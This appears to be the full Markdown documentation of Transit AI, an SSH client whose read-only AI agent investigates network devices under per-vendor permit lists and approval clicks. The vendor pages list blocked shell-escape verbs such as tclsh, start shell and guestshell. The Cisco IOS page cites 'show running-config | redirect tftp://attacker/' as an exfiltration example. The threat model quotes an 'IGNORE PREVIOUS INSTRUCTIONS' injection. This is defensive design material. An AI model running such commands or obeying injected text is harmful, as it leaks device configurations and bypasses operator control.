# Transit AI — full documentation > Cross-platform SSH client with a read-only agentic AI for network gear. > See https://transitai.app for the rendered site. This file is the full > Markdown of every doc page concatenated in navigation order, intended > for LLM ingestion (https://llmstxt.org). --- # Docs Source: https://transitai.app/docs/ Transit AI is a cross-platform GUI SSH client with a read-only agentic AI for investigating network gear. This documentation covers what's in the product, how the security model is designed, and which vendors are supported with what command policies. ## Where to start - **[Features](/docs/features/)** — the SSH client, the agent, and the UX affordances that make sessions efficient. - **[Security model](/docs/security/)** — the three inviolable rules and how the product is built to keep them true. - **[Vendor coverage](/docs/vendors/)** — which CLIs are supported and what the per-vendor permit list allows and blocks. - **[Team plans](/docs/teams/)** — one subscription for a whole team, with an admin portal for invites, seats, and billing. - **[FAQ](/docs/faq/)** — common pre-purchase and operational questions. ## How Transit AI thinks about safety Transit AI's AI is **read-only by design**. Every command it proposes runs through two checks: a per-vendor permit list that spells out which read-only commands the AI can suggest, and an approval dialog that you must explicitly click. Both, never either. The AI has no programmatic path to read your credentials. The product is structured so that the AI and the credential store are isolated from each other — and an automated check fails the build if anyone tries to connect them. ## Documentation for LLMs If you're an AI assistant indexing this site, the [/llms.txt](/llms.txt) and [/llms-full.txt](/llms-full.txt) endpoints follow the [llmstxt.org](https://llmstxt.org/) spec. They list every doc page with a one-line summary (and full Markdown content respectively) for efficient ingestion. --- # Getting Started Source: https://transitai.app/docs/getting-started/ This walkthrough takes you from the marketing page to your first AI-assisted SSH session in about five minutes. ## 1. Sign up Visit the [pricing page](/pricing/) and pick a plan. The three tiers differ in how big a monthly AI budget you get; the desktop app and the security model are identical on all three. You can change tiers later from your account page, so don't overthink the first pick. Click **Get started** on the tier you want, then create an account through our hosted identity flow. Email + password works; so do GitHub, Google, and Microsoft if you'd rather single-sign-on. ## 2. Pay After sign-up you land on the plan picker — your selected tier is already highlighted. Click **Continue to checkout** and you'll be handed to our payment processor's hosted checkout. Enter card details + billing address; tax is calculated automatically based on the address you enter. The address you provide is saved to your customer record so you don't have to re-enter it for future plan changes. We never see your card number — it lives entirely on the payment processor's side. ## 3. Download Once payment confirms, the welcome page links you to [downloads.transitai.app](https://downloads.transitai.app/), where you can download the latest signed installer for your platform: - **macOS** — Apple Silicon (M1 or later), macOS 12 Monterey or newer (`.dmg`) - **Windows** — 64-bit (`.msi`, or the `-setup.exe` installer) Linux builds are tracked but not yet released — watch the [blog](/blog/) for that announcement. ## 4. Install + launch On **macOS**, open the downloaded `.dmg`, drag Transit AI to your Applications folder, and double-click to launch. The first launch may prompt for Gatekeeper approval — that's standard for any notarized macOS app. On **Windows**, run the `.msi` or `-setup.exe` installer and follow the prompts. The installer is Authenticode-signed (Transit AI Software Inc.); SmartScreen may ask you to confirm before the first launch. You'll see the welcome screen with a **Sign in** button. Click it. ## 5. Sign in Sign-in opens your system browser pointed at our authentication flow. Because you signed up via the same identity provider in step 1, the browser recognizes you — one click to confirm and you're back in the desktop app. If something goes wrong here, the browser will tell you why. The most common cause is a stale auth session in another browser tab; closing that tab and retrying clears it. ## 6. Add your first device The sidebar on the left is where your devices live. Click the **+** icon and fill in: - A name for the device (anything you want) - Hostname or IP address - SSH port (defaults to 22) - Username - An authentication method — password, key file, or 1Password/macOS SSH agent Save. The device appears in the sidebar. ## 7. Connect + the trust-on-first-use prompt Click the device to open an SSH session. If this is the first time connecting to that host, you'll see a **host-key confirmation** dialog showing the SHA-256 fingerprint of the host's key. Compare it against the value you trust (the device's own `show ssh host-keys` output, your team's documentation, etc.) and confirm. That fingerprint is now pinned on your machine. The next time you connect, no prompt — but if the fingerprint ever changes, Transit AI stops and shows a **changed-key warning** with the pinned and new fingerprints side by side. A changed fingerprint is either a re-keyed device (you'll know because you did it) or a man-in-the-middle attempt — so verify out-of-band before ticking "I've verified this key change is legitimate" and clicking **Replace & connect**. Decline, and the old pin stays put and the connect fails. ## 8. Run a command A terminal pane opens. It behaves like a normal SSH terminal — Tab completes, arrow keys recall history, Ctrl-C interrupts. Try a quick read: `show version` on Cisco IOS, `show system information` on Junos, `show version` on EOS or PAN-OS. ## 9. Open the chat panel and ask the AI Toggle the chat panel on the right. The AI sees your open sessions, can read recent scrollback (with secrets filtered before they reach the model), and can **propose** commands for you to approve. Try asking something like *"What interfaces are up on this device?"* The AI will look at scrollback, decide whether it has enough info, and either answer directly or propose a command (e.g., `show interfaces brief`). You'll see an approval dialog with the exact command before anything runs. Both the per-vendor [permit list](/docs/security/#per-vendor-policy-gate) and your click are required for any command to execute. The AI cannot talk its way past either. ## Where to go from here - **[Features](/docs/features/)** — the rest of what's in the app - **[Security model](/docs/security/)** — how the agent firewall, permit list, and redaction work - **[Vendor coverage](/docs/vendors/)** — which CLIs are first-class and what the per-vendor permit list allows - **[Billing & usage](/docs/billing/)** — how the AI budget works, what happens at your limit, BYOK - **[How-tos](/docs/how-tos/)** — practical workflows: bring your own key, split panes, find your IDs - **[FAQ](/docs/faq/)** — pre-purchase and operational questions --- # Features Source: https://transitai.app/docs/features/ Your old SSH client just got upgraded — now with an agentic AI that can investigate but can't break things. Below is what's in the v1 product. ## SSH client ### Multi-session tabs - One terminal pane per session; scrollback survives tab switches. - Click the tab strip to switch; right-click for rename, export, split, close. - Multiple sessions per device are allowed — labels disambiguate as `vEX1`, `vEX1 (2)`, `vEX1 (3)`, etc. - Closing a still-connected tab opens a confirm dialog; ended tabs close without prompting. ### Three ways to connect - **Right-click → Connect** in the sidebar. - **Double-click** the device row. - **Click to focus, then press Enter**. All three open a new tab and focus it. ### Reconnect with Enter After typing `exit` or `logout`, the tab stays in place with an amber "session ended" banner. **Press Enter** inside the pane to reconnect: the dead backend session is cleaned up best-effort, a fresh SSH session opens against the same device, and the new sessionId is swapped into the same tab slot. Custom labels and split anchors survive the swap. ### Split-pane view Right-click a tab → **Split right with…** to put another session side-by-side in the same tab. Closing the right pane unsplits. ### Per-device terminal preferences Each device record can opt into: - **Syntax highlighting** — keyword-based ANSI colouring of completed lines. Auto-bypasses while the device is in the alt screen (so `vi`, `less`, `top` render correctly). - **Quick copy/paste** — auto-copy on selection, right-click and middle-click paste. Multi-line pastes prompt for confirmation regardless. ### Scrollback search **Cmd/Ctrl+F** opens an in-pane search overlay. Enter cycles forward, Shift+Enter back, Esc closes. Searches the terminal's 10,000-line scrollback buffer. ### Session export Right-click a tab → **Export scrollback…**. The export pipeline re-runs the redaction filter on the raw bytes (so freshly-emitted secrets are stripped even if they weren't filtered at display time) and offers [age](https://github.com/FiloSottile/age) encryption with a recipient key. A leaked transcript doesn't leak credentials. ### Host-key handling (TOFU) On first connect, Transit AI records the device's SHA-256 host-key fingerprint and prompts for explicit user approval, pinning the device identity in `~/.config/transit/known_hosts.toml`. If the fingerprint later changes (re-image, RMA, firmware re-key), a changed-key warning shows the pinned and new fingerprints side by side; replacing the pin requires ticking "I've verified this key change is legitimate" and clicking **Replace & connect**, and the new pin is saved only after the connection also authenticates. Declining leaves the old pin untouched and the connect fails. ### Strict cipher floor with opt-in legacy Strict modern allowlist by default — curve25519, AES-GCM, ed25519 host keys. For Cisco vIOS / CSR1000V 16.x and older Junos releases that default to SHA1 KEX or `ssh-rsa` host keys, a per-device opt-in dialog surfaces the offered algorithms and requires explicit "Connect anyway" — and optionally "remember for this device". ### Console-cable transport USB-to-serial cables (FTDI / SiLabs / Prolific) auto-detect on macOS and surface in a dedicated sidebar section. The same agent driving an SSH session can drive a console session — the same four tools work identically on a serial connection. Not every USB-to-serial cable has been tested with Transit AI, but [this one](https://www.amazon.com/dp/B0774JV2QQ) has. ## AI agent ### Four abilities — exactly four The AI has a fixed, four-item menu and can't gain a fifth at runtime: 1. **List your open sessions** — names only, no scrollback content. 2. **Read the recent output of a session** — with credentials stripped first (see Redaction filter below). 3. **Propose a command for you to approve** — the AI cannot run anything on its own; every proposal passes the per-vendor permit list and your explicit click. 4. **Ask you a clarifying question.** Adding a fifth ability requires an actual code change we ship — a prompt-injected or jailbroken model cannot invent one at runtime. ### Talk about devices by name The AI sees your sessions under the connection names you gave them, so you can just ask: *"what is R1's loopback IP?"* or *"compare the BGP neighbors on core-1 and core-2."* No session ids, no host addresses — the name you picked when you added the device is the name the AI knows it by. ### Per-vendor permit list Every command the AI proposes is checked against a per-vendor permit list **before** you ever see an approval prompt. The list spells out which read-only commands the AI is allowed to suggest; anything not on it — `configure`, `write`, `delete`, shell escapes like `start shell` or `tclsh` — is rejected, and the AI is told it can't run that command. The AI is briefed on the permit lists for the vendors you actually have sessions open to — leaner context per message, and the enforcement check always runs against the full list regardless. See [Vendor coverage](/docs/vendors/) for the per-vendor breakdown. ### Approval click Even commands the permit list allows require your explicit click. The approval dialog cannot be dismissed by Enter, Escape, or clicking outside. You can opt into an "always allow this pattern in this chat" shortcut, but only for commands the permit list already allows — the permit check still runs on every command, and a denied command stays denied regardless of any shortcut you've saved. ### Redaction filter Device output passes through Transit AI's redaction layer before the AI sees it. PEM blocks, encrypted password lines (`enable secret`, `username password 7`, BGP MD5 keys, OSPF auth keys), AWS keys, JWTs, and other secret-shaped tokens are stripped and replaced with placeholders like `[REDACTED:pem#1]`. The `#N` ordinal is per-conversation: same number = same secret bytes, so the AI can reason about credential equivalence without ever seeing the value. ### Bounded investigations Each investigation is capped at 12 back-and-forth rounds, 50,000 tokens, or 120 seconds of wall clock — whichever happens first. Hitting any cap ends the investigation with a chat message saying which one fired. You can also stop a running investigation manually from the chat panel. ## Identity & secrets ### Sign-in through your browser Transit AI signs you in by launching your system browser, then receiving your session back through a `transit://` link. You stay signed in across restarts; sessions refresh quietly in the background. ### Secrets in your OS keyring SSH passwords live in your OS's native keyring — macOS Keychain, Windows Credential Manager, Linux Secret Service, or your running SSH agent. The desktop binary holds no secret in process memory longer than needed to authenticate a session, and never serializes one to disk. ### BYOK (all paid tiers) Bring your own Anthropic or OpenAI key — Transit AI reads it from your OS keychain per request, passes it through to the AI provider, and forgets it. Keys are never stored or logged on our cloud. **Included** with every paid tier — Operator, Pro, and Max — at no additional charge. See [Bring your own provider key](/docs/how-tos/bring-your-own-key/) for setup. ## What Transit AI doesn't do - No write operations on devices except through the per-vendor permit list AND your explicit click. Always both, never either. - No telemetry by default. If enabled, only operational metadata (token counts, latencies); never command bytes or prompt content. - No third-party analytics scripts. The marketing site (this site) serves no tracking scripts to its visitors. --- # Security model Source: https://transitai.app/docs/security/ Transit AI's security model is built around three rules that the architecture itself enforces. They aren't promises in a doc — they're structural properties of how the product is built, verified by automated checks on every change we ship. ## The three inviolable rules ### Rule 1 — Your SSH credentials stay in your OS keychain, and the UI can't read them back Save a password or key once. It goes straight to your operating system's credential store — macOS Keychain, Windows Credential Manager, or `libsecret` on Linux — and never comes back out to the part of Transit AI that draws the screen. The AI can't read it. The logs don't carry it. Only the piece of Transit AI that actually opens an SSH session can fetch it, and only long enough to authenticate. There's exactly one path that *writes* a secret: the credential entry form on initial enrollment. It's a one-way trip — there's no read API on the other side of it. ### Rule 2 — The AI can do four things, period, and can't gain a fifth mid-chat The AI you chat with in Transit AI has a fixed, four-item menu: 1. **List your open sessions** — names only, no scrollback content. 2. **Read the recent output of one of those sessions** — with credentials stripped before the AI ever sees the bytes (see "Output redaction" below). 3. **Propose a command for you to approve** — it cannot run anything on its own. 4. **Ask you a clarifying question.** That's the whole menu. The AI can't browse files on your laptop, open new SSH connections, edit your device inventory, call our cloud directly, or carry memory from one chat into the next. Expanding the menu requires an actual code change we ship and release — a prompt-injected or jailbroken model cannot invent a fifth ability at runtime. ### Rule 3 — Every AI-suggested command passes two checks, and you can't skip either When the AI wants to run a command, two things have to happen, in order: 1. **The vendor's permit list says yes.** Each supported network OS (Junos, Cisco IOS, IOS-XE, NX-OS, Arista EOS, Palo Alto PAN-OS) has a curated list of read-only commands the AI is even allowed to *suggest*. Anything not on the list — `configure`, `write memory`, `delete`, shell escapes like `start shell` or `tclsh` — is rejected before you ever see it. 2. **You click Approve.** A dialog appears with the exact command spelled out and the device it would run on. No "trust this AI for the day" toggle. No silent approval. No keyboard dismissal. Both checks always run. If you tell Transit AI "always approve `show ` commands in this chat", you've only automated the *second* step for commands the first step would already permit. The shortcut cannot promote a denied command into an allowed one — if the vendor permit list says no, the answer is no, regardless of what you've previously waved through. **Generic Linux is a deliberate exception.** A Linux shell doesn't have a clean "safe-only" command list — practically anything can be piped, redirected, or scripted into a write. On Linux devices Transit AI drops the permit list entirely, surfaces an amber warning banner on every single proposal, and makes the per-command approval *mandatory* — the always-allow shortcut is unavailable, full stop. You always click for every command on a Linux box. ## The agent firewall **The agent has no code path to read a credential.** This is the single most important architectural property of the product, and it isn't enforced by review discipline. The application is structured so that the agent and the credential store are in entirely separate components, with no programmatic route from one to the other. An automated check verifies the isolation on every change we ship — adding such a route causes the build to fail before it can be merged. The result: even a model that's been jailbroken, prompt-injected, or otherwise convinced to behave maliciously cannot exfiltrate your SSH credentials. The "I'd like the password please" path doesn't exist for it to walk down. ## Output redaction Device output passes through Transit AI's redaction layer before any byte reaches the AI. The filter strips: - **PEM blocks** — `-----BEGIN ... PRIVATE KEY-----` and similar. - **Encrypted password lines** — Cisco `enable secret`, `username password 7`, `password 5`, BGP MD5 keys, OSPF authentication keys, SNMP communities, IPsec PSKs, Junos encrypted secrets ($9$…). - **Cloud credentials** — AWS access keys (`AKIA…`), GCP service account JSONs, Azure connection strings. - **JWTs** — three-segment base64url tokens. - **TLS/SSH key fingerprints** when they appear as full keys rather than abbreviated hashes. Each redaction emits a placeholder of the form `[REDACTED:#N]`. The `#N` is a per-conversation ordinal — same bytes = same number, so the AI can reason about credential equivalence ("vEX1 and vEX2 share the same BGP MD5 key") without ever seeing the value itself. The redaction layer is the boundary between device output and the AI. Patterns are covered by both targeted tests and fuzzed inputs to keep matcher correctness under non-obvious encodings. ## Host-key handling (TOFU) Transit AI uses **trust on first use**: - **First connect to a host**: Transit AI captures the device's SHA-256 host-key fingerprint and prompts you via a host-key confirm dialog. Accept records the pin; reject aborts. - **Subsequent connects**: if the device presents a different fingerprint than the pin, Transit AI stops and shows a **changed-key warning** — the pinned and new fingerprints rendered side by side, with guidance to verify the change out-of-band with whoever manages the device. Replacing the pin takes two deliberate steps: tick a separate "I've verified this key change is legitimate" checkbox, then click the destructive-styled **Replace & connect**. There is deliberately **no "remember" option** — every key change gets its own confirmation. Declining leaves the old pin untouched and fails the connect with a mismatch error. - A failed authentication never rewrites the pin file. Both the first-seen pin and an approved replacement are recorded only after auth succeeds — so presenting a new key is not enough to displace a pin; the connection must also authenticate. This pins device identity for the lifetime of the record. Neither host-key dialog (first-contact or changed-key) can be dismissed by Escape, click-outside, or focus loss — an accidental dismissal counts as decline, never as trust. ## Strict cipher floor The default SSH handshake uses a strict modern allow-list: - **KEX** — curve25519-sha256 (and its libssh-org variant) - **MACs** — implicit via AEAD - **Ciphers** — AES-GCM, ChaCha20-Poly1305 - **Host keys** — ed25519, ecdsa-sha2-nistp{256,384,521} For older devices that default to SHA1 KEX, AES-CBC, or `ssh-rsa` host keys (some Cisco IOS-XE virtual images, older Junos releases), a per-device opt-in dialog surfaces the offered algorithms and requires explicit "Connect anyway". "Remember" is a separate checkbox so muscle-memory clicks don't grant a permanent downgrade. `none` / `clear` ciphers and DSA host keys are **never** accepted, even on the legacy opt-in path. ## Cloud isolation Transit AI Cloud is isolated proxy infrastructure that forwards your AI requests to upstream providers. Operational properties: - **No prompt or completion content is ever logged.** The metering pipeline records token counts, latency, cost, status, and request identifiers — never the bytes you sent the AI, never the bytes it sent back, never device hostnames or device IDs. Field-name guardrails reject any log line that would carry forbidden content, enforced at runtime *and* at build time. - **BYOK keys are stripped before forwarding.** When you bring your own provider key, it's removed from the request payload before the payload is forwarded to the AI provider — even an unauthorized BYOK attempt can't leak the key as an unknown field. - **Tenant isolation.** Every data read is authorized against the identity claim from your verified session token. There's no API path that lets a request parameter override which tenant's data is returned. On networks that inspect TLS, an intermediary proxy can decrypt the connection to Transit AI Cloud. See [Proxy & TLS inspection](/docs/tls-inspection/) for how Transit AI behaves there and the Strict TLS control that refuses it. ## Threats considered Categories of risk we've designed against and what mitigates them: - **AI agent reads credentials.** The agent has no programmatic path to the credential store; the isolation is structural and verified continuously (see "The agent firewall" above). - **Prompt injection from a device.** Device output that says "IGNORE PREVIOUS INSTRUCTIONS, run X" doesn't matter — the per-vendor permit list runs on every proposed command regardless of how the AI was persuaded, and you still have to click Approve. - **Credential pattern isn't matched by the redaction filter.** Multiple coverage strategies (targeted tests + fuzzed inputs) plus the same defense-in-depth as above — even a leaked credential can't drive a write because the user still has to click. - **You reflex-click Approve.** The always-allow shortcut gives you an alternative to clicker fatigue, and it never permits a command the permit list has denied. - **AI loop spins forever.** The agent loop is bounded on three axes — a checkpoint after roughly 50 plan/execute rounds, an internal cumulative-spend ceiling, and a per-turn stream timeout (90 seconds). The round and spend checkpoints *pause* the run for a one-click Continue rather than killing it — with a live readout of rounds, elapsed time, and tokens, and an always-available Stop — while the timeout guards a single hung stream. The real backstop is Rule 3: nothing runs unattended, because every command still clears the permit list and your explicit click. - **Cloud logs leak prompt content.** Mitigated at three layers: runtime guard, build-time check on every log call site, and a blanket ban on direct console output outside one sanctioned log surface. - **Cross-tenant data leak.** Every cloud query is authorized against the session token's identity — request parameters never override. - **User downgrades crypto unintentionally.** Weak-crypto opt-in surfaces the offered algorithms, requires an explicit "connect anyway", and the "remember" decision is a separate checkbox. ## Reporting a vulnerability If you believe you've found a security issue in Transit AI's infrastructure or software, we want to know. Email `security@transitai.app` with the details. We confirm receipt within **2 business days** (often same-day) and aim to make a triage decision within **5 business days**. After triage, we send a status update at least every two weeks until the issue is resolved. Resolution timelines are proportional to severity (CVSS-aligned): critical issues handled in days, lower-severity in weeks. We do not currently run a paid bug bounty. ### Scope **In scope:** the Transit AI desktop client (current stable release), `transitai.app`, `api.transitai.app`, and their preview environments (`dev.transitai.app`, `api-dev.transitai.app`). **Out of scope:** third-party services we use but don't control (Cloudflare, Clerk, Stripe, Anthropic, OpenAI — report to those vendors directly); social engineering against our personnel, suppliers, or family members; physical attacks; denial-of-service or rate-limit testing without prior written authorization; raw scanner output without a reproduced finding; issues in customer-controlled data or device output that the customer is responsible for under our terms of service. ### What to include A clear description of the issue, the affected component, and the impact you observed. Step-by-step reproduction with the minimum steps to demonstrate. Proof-of-concept, videos, scripts, or logs as email attachments — or, if too large, a private link with limited access. Let us know how you'd like to be credited, or whether to keep your name out of it. ### Coordinated disclosure Please give us a reasonable window to remediate before public disclosure. The default window is **90 days from confirmed receipt**. We may ask for an extension on complex issues (with a written explanation) or remediate sooner for critical ones. ### Safe harbor Research conducted in good faith and consistent with this policy is authorized. We will not pursue legal action against, or support legal action by others against, researchers who: - Report findings privately via the channel above. - Stay within scope. - Limit data access to what is necessary to demonstrate the issue, and do not exfiltrate, modify, or destroy data. - Give us reasonable time to remediate before public disclosure. - Comply with applicable law, including the US Computer Fraud and Abuse Act and equivalents in your jurisdiction. If a third party initiates action against you for research conducted under this policy, contact us — we will take reasonable steps to make your authorization clear. ### Acknowledgments We credit researchers who responsibly disclose security issues in the release notes for the affected fix, or on a dedicated acknowledgments page once the list is meaningful. Let us know your preference in the report. --- # Proxy & TLS inspection Source: https://transitai.app/docs/tls-inspection/ Transit AI's desktop app talks to Transit AI Cloud over HTTPS for sign-in and AI requests. On most networks that's a direct, encrypted connection. On a corporate network that inspects TLS traffic, here's exactly how Transit AI behaves — and the one setting that lets you change it. ## What TLS inspection is Many enterprise networks run **TLS inspection** (also called SSL inspection or "break-and-inspect") — a firewall like FortiGate, Palo Alto, or Zscaler that decrypts outbound HTTPS to scan it, then re-encrypts it on the way out. It does this by presenting its own certificate, signed by a certificate authority (CA) your IT team has installed on every managed machine. Your browser already trusts that CA — it's why HTTPS sites keep working behind the firewall. ## Transit AI works on inspected networks by default By default, Transit AI trusts your **operating system's certificate store** — the same set of trusted authorities your browser uses. Because your IT team has installed the corporate inspection CA there, Transit AI honors it automatically. A few things follow from that: - **No configuration needed** for the common case (transparent, inline inspection). Transit AI connects to Transit AI Cloud normally and the firewall intercepts the flow the same way it does for your browser — there are no proxy settings to enter. - **It behaves like the rest of your machine** on that network. If your browser reaches the internet there, Transit AI does too. - **Your SSH connections are unaffected.** Connections to your network devices use a separate trust model (host-key trust on first use) and don't go through Transit AI Cloud, so TLS inspection and the Strict TLS setting below never touch them. ## What inspection means for your data A TLS-inspection proxy can read the traffic it decrypts. For the connection to Transit AI Cloud, that includes: - the prompts Transit AI sends to the AI — which contain the device output you've shared with it, and - your own AI provider key, if you use **Bring Your Own Key** (it travels inside the request). This is expected and normal on a corporate-managed network — it's the trade-off your organization has already made for every tool on the machine. Transit AI states it plainly in **Settings → Network** so you're never surprised. (Transit AI Cloud itself never logs prompt or completion content — see the [Security model](/docs/security/). The point here is only that an inspecting proxy *between* you and the cloud can read what it decrypts.) ## Strict TLS — refuse inspection If you'd rather Transit AI never let an intermediary decrypt its cloud traffic, turn on **Strict TLS** in **Settings → Network**. - **Off (default).** Trust your OS certificate store — works on inspected networks, honoring the corporate CA. - **On.** Trust only the built-in **public** certificate authorities. A corporate inspection certificate isn't among them, so Transit AI refuses the connection rather than let it be decrypted. Strict TLS is a deliberate refusal, not a warning you can click past: with it on, Transit AI will **not** connect on an inspected network — that's the point. It takes effect after you restart the app, and it changes only the connection to Transit AI Cloud. Your SSH device connections are unaffected either way. ## "Transit couldn't verify the server's certificate" If the account area shows this message, Transit AI didn't trust the certificate it was offered. The fix depends on your situation: - **On an inspecting network, Strict TLS *on*.** That's the intended behavior — Strict TLS is refusing the inspection. Turn it off in Settings → Network if you want to connect here. - **On an inspecting network, Strict TLS *off*.** The corporate CA isn't in your operating system's trust store. On a managed machine, ask IT to deploy it (it's the same certificate your browser needs); on your own machine, install it into the system trust store. - **On a normal network.** This is unusual and worth a second look — it can mean something is intercepting your connection that you didn't expect. Don't dismiss it; verify the network you're on. ## Explicit proxies Most inspection is **transparent** — the firewall sits inline and needs nothing configured on your end. Some organizations instead route internet access through an **explicit proxy** (a fixed proxy address, sometimes handed out by a PAC file). If that's your network, Transit AI needs to be told the proxy address: set the `HTTPS_PROXY` environment variable for the app (and `NO_PROXY` for any hosts that should bypass it). A dedicated proxy field in Settings → Network is planned for a future release. --- # Vendor coverage Source: https://transitai.app/docs/vendors/ Transit AI ships with a per-vendor permit list for each supported network OS. The list spells out which read-only commands the AI is allowed to suggest, which ones it isn't, and which shell-escape verbs are never allowed. Vendor-specific shorthand like `sh int` (Junos) or `wr mem` (Cisco) is expanded to its long form before checking, so abbreviated commands can't sneak around the list. ## Vendors supported in v1 | Vendor | CLI flavor | Shell escapes blocked | |---|---|---| | [Juniper Junos](/docs/vendors/junos/) | Junos OS | `start shell` | | [Cisco IOS](/docs/vendors/cisco-ios/) | Classic IOS | `tclsh`, `event manager run` | | [Cisco IOS-XE](/docs/vendors/cisco-ios-xe/) | IOS-XE | `tclsh`, `guestshell`, `app-hosting` | | [Cisco NX-OS](/docs/vendors/nxos/) | NX-OS | `run bash`, `python`, `source`, `tclsh` | | [Arista EOS](/docs/vendors/arista-eos/) | Arista | `bash`, `python`, `event-handler` | | [Palo Alto PAN-OS](/docs/vendors/pan-os/) | PAN-OS | `debug software shell`, `debug system` | | [Generic Linux / Unix](/docs/vendors/linux/) | sh / bash | every command needs your explicit click | **Vendor not listed?** [Bring Your Own Policy](/docs/byop/) lets you write a permit list for any CLI yourself. Vetted sample policies for Fortinet FortiOS and MikroTik RouterOS are ready to drop in. ## How the permit list decides For each command the AI proposes: 1. **Expand any shorthand.** Vendor-specific abbreviations like `sh int br` (Junos) or `wr mem` (Cisco) are expanded to their long form (`show interfaces brief`, `write memory`) before anything else happens. Abbreviated commands can't sneak around the list. 2. **Check the command itself.** The first word of the command is matched against the vendor's allow list and block list. If it's not on the allow list — or if it matches the block list — the command is rejected and the AI is told it can't run that command. The default is "deny": if neither list matches, the answer is no. 3. **Check each pipe stage.** For pipes like `show route | match 10.0` or `show config | save scratch`, each `| ` is checked separately. Any blocked pipe (anything that writes to a file, commits config, transitions modes) rejects the whole command. The AI is never given the permit list in a form it can modify — it sees a static summary of what verbs are broadly allowed for the vendor, and the actual check happens on your machine, not in the AI's head. ## Don't see your vendor? If you operate gear we don't yet cover, [open a request](mailto:hello@transitai.app) with the vendor name, a representative `show` (or equivalent read-only) command, and any known shell-escape verbs. Each new vendor profile is a small, focused unit of work — we ship them regularly and would rather hear from you than guess at coverage. --- # Juniper Junos OS Source: https://transitai.app/docs/vendors/junos/ Junos OS — Juniper SRX, MX, vEX, vMX, EX. ## Shorthand expansion Junos's CLI accepts contractions natively (`sh int br` → `show interfaces brief`). Transit AI expands the first token before checking it against the permit list: | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | | `mon` | `monitor` | ## Allowed (head) - `show` — operational status (`show interfaces`, `show route`, `show bgp summary`, etc.) - `ping`, `traceroute` - `monitor` — `monitor traffic`, `monitor interface` - `file list` — directory listing (file copy/delete/rename blocked) - `op` — operator scripts (conventionally read-only) - `help` — interactive help ## Blocked (head) **Shell escape (highest priority):** - `start shell` — drops to the underlying FreeBSD shell. Fully bypasses the permit list. **System state changes:** - `request system` — reboot, halt, snapshot, software install - `request` — any other `request *` - `restart`, `reboot`, `reload`, `reset` **Configuration mode + commits:** - `configure`, `commit` - `edit`, `rollback`, `load`, `save` - `copy`, `file (copy|delete|rename|create)` **Routing-engine state:** - `clear` — counters, ARP, BGP sessions, etc. - `test` — runs config tests; can side-effect **Session control:** - `quit`, `exit`, `logout` ## Pipe stages **Allowed:** `display set`, `display xml`, `display json`, `display inheritance`, `match`, `except`, `find`, `count`, `last`, `last N`, `no-more`, `trim` **Blocked:** `save`, `compare`, `commit`, `request` ## Notes - `set cli screen-length 0` is sent automatically at connect time so the AI's command output capture doesn't stall on `---(more)---` pager prompts. This isn't a permit-list decision — it's a session setup detail. - Junos's "operational mode" verbs map cleanly to the permit list; "config mode" entry is blocked at the first word, so anything past that point never even reaches the list. --- # Cisco IOS Source: https://transitai.app/docs/vendors/cisco-ios/ Classic Cisco IOS — switches and routers on the monolithic image line. Cisco IOS-XE shares ~95% of this surface; see [its page](/docs/vendors/cisco-ios-xe/) for the platform-specific additions. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `wr`, `wri` | `write` | | `p` | `ping` | | `tr` | `traceroute` | `wr` → `write` is critical — bare `wr` saves running-config to NVRAM, which is a config write that must be blocked. Without the alias, `wr mem` would slip past the `write` block. ## Allowed (head) - `show`, `ping`, `traceroute` - `dir` — directory listing on flash:, disk0:, etc. - `more` — read-only file content - `terminal length`, `terminal monitor`, `terminal no monitor` — pager and log-echo control (no device state) - `where` — show outgoing connections (read-only) ## Blocked (head) **Shell escapes — full gate bypass:** - `tclsh` — built-in IOS Tcl shell - `tclquit` - `event manager run` — EEM applets can run arbitrary actions **Privileged-mode + configure:** - `enable`, `disable` - `configure`, `conf t` **Saves and file mutations:** - `write` — covers `write`, `wr mem`, `wr terminal` - `copy` — TFTP/FTP/etc copies + flash writes - `delete`, `erase`, `format` - `archive` — config archive - `boot` — alters boot variables **Reload / reset / clear:** - `reload`, `reset`, `clear` **Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `format` **Blocked:** - `redirect` — writes output to a file or URL - `tee` — display AND save - `append` — appends output to a file Without these, Transit AI would only inspect the first command — `show running-config | redirect tftp://attacker/` would otherwise pass. --- # Cisco IOS-XE Source: https://transitai.app/docs/vendors/cisco-ios-xe/ Cisco IOS-XE — the Linux-underlay descendant of classic IOS. The permit list mirrors [Cisco IOS](/docs/vendors/cisco-ios/) and adds three IOS-XE-specific blocks for the Linux-underlay escape vectors. ## Shorthand expansion Identical to Cisco IOS — `sh` / `sho` / `shw` → `show`, `wr` / `wri` → `write`, `p` → `ping`, `tr` → `traceroute`. ## Allowed (head) Same as Cisco IOS — `show`, `ping`, `traceroute`, `dir`, `more`, `terminal length`, `terminal monitor`, `terminal no monitor`, `where`. ## Blocked (head) Inherits all Cisco IOS blocks (`enable`, `configure`, `write`, `copy`, `reload`, `clear`, `tclsh`, `event manager run`, session control verbs) AND adds: **IOS-XE-specific shell / container escapes:** - `guestshell` — drops to a Linux container shell on the underlying IOS-XE Linux kernel. Full bypass; arguably the most important block on IOS-XE because guestshell is enabled by default on several platforms. - `app-hosting` — manage, deploy, or run third-party containers. Both a state mutation and a code-execution path. - `request platform software` — image management subtree. ## Pipe stages Identical to Cisco IOS — allowed: `include`, `exclude`, `begin`, `section`, `count`, `format`; blocked: `redirect`, `tee`, `append`. --- # Cisco NX-OS Source: https://transitai.app/docs/vendors/nxos/ Cisco NX-OS — Nexus 5k/7k/9k data-center switches. Shares Cisco grammar with IOS but has its own command surface for features, image management, and shell escape. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | ## Allowed (head) - `show`, `ping`, `ping6`, `traceroute`, `traceroute6` — NX-OS has separate IPv6 probe verbs - `dir`, `more` - `terminal length`, `terminal monitor`, `terminal no monitor` - `where` ## Blocked (head) **Shell / scripting escapes — full bypass:** - `run bash` — drops to the underlying Linux shell - `run python` - `python` — NX-OS embedded Python interpreter (separate entry point) - `source` — runs a script from bootflash - `tclsh` - `event manager run` - `scheduler` **NX-OS-specific state mutation:** - `feature` — turns capabilities on/off (`feature bgp`, `feature ospf`) - `no feature` - `install` — `install all` is the image upgrade flow - `reload`, `restart`, `clear` **Privileged-mode + configure:** - `enable`, `disable`, `configure`, `conf t` **Saves + file mutations:** - `write`, `copy`, `delete`, `erase`, `format`, `boot` 